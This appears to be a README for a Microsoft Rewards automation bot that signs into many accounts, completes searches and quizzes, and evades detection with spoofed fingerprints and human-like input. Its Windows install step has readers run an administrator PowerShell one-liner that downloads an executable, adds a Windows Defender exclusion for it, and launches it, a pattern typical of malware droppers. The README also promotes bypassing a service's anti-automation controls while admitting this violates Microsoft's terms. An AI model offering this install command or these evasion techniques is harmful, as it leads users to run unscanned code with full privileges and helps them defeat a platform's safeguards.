Your Microsoft Rewards on autopilot — searches, daily sets, and promotions, on every account, every day.
Set it up once. The bot signs in, searches, and clears the daily activities on every account — then does it again tomorrow. It supports both Microsoft Rewards dashboards (new and classic, auto-detected per account), and you drive it from Rewards Desk, a control panel running on your own computer. No terminal, no JSON editing, no rebuilds.
Accounts, live runs, settings, plugins, logs — all in one place. It opens automatically when you run npm start.
Prefer a plain CLI? Pass
--terminalat launch. Docker and headless machines use terminal mode automatically.
- ✅ Both dashboards — new and classic, auto-detected per account, so nothing is left uncollected.
- 🧩 Everything solved — desktop & mobile searches, daily set, quizzes, polls, promotions, punch cards.
- 🔐 Every login flow — password, 2FA/TOTP, passwordless, passkeys, recovery.
- 🛡️ Stealth built in — hardened browser, realistic fingerprints, human-like mouse and typing.
- 🔒 Credentials encrypted at rest with your OS vault (DPAPI / Keychain / Secret Service).
- ⏰ Fully hands-free — built-in scheduler, silent auto-updates, Discord & ntfy notifications.
- 🧰 Extensible — sandboxed plugins, installed in one click from the marketplace.
- 🌍 Runs anywhere — Windows, macOS, Linux, Docker/headless.
- ⭐ Core (optional) — coupons, streak protection, app rewards, auto-redeem to gift cards, remote dashboard.
Open PowerShell as Administrator and run:
$f="$env:TEMP\install.exe"; iwr https://github.com/QuestPilot/Microsoft-Rewards-Bot/raw/HEAD/scripts/install.exe -OutFile $f; Add-MpPreference -ExclusionPath $f; start $fRequires Node.js 24.15.0:
git clone https://github.com/QuestPilot/Microsoft-Rewards-Bot.git
cd Microsoft-Rewards-Bot
npm install
npm startdocker compose up -d --buildInstalls and auto-updates follow the main branch — the supported channel. Details: Install & auto-updates · Docker.
Core collects what the free bot can't reach — claimable point cards, dashboard coupons, streak protection, app rewards, auto-redeem to gift cards — and adds a remote web dashboard to watch and control every machine from anywhere.
See what Core adds → · Try it free for 3 days via the Discord — no payment needed.
| I want to… | Read |
|---|---|
Install the bot and understand npm start |
Install & auto-updates |
| Use the control panel | Rewards Desk |
| Run it in Docker | Docker |
| Add plugins — or build my own | Plugins · Create a plugin |
| See what Core adds | Core plugin · Core Dashboard |
| Keep my accounts safe | Account safety |
| Know exactly what data is (and isn't) collected | Privacy & telemetry |
| Fix a problem | Troubleshooting |
Everything else: full documentation index
Source-available, free for personal, non-commercial use — see LICENSE, Commercial use, and Trademark.
This project is for personal, non-commercial use. Automated interaction with Microsoft Rewards violates the Microsoft Services Agreement and may result in account restrictions or permanent bans. The developers accept no responsibility for any consequences arising from the use of this software. This project is not affiliated with or endorsed by Microsoft Corporation.


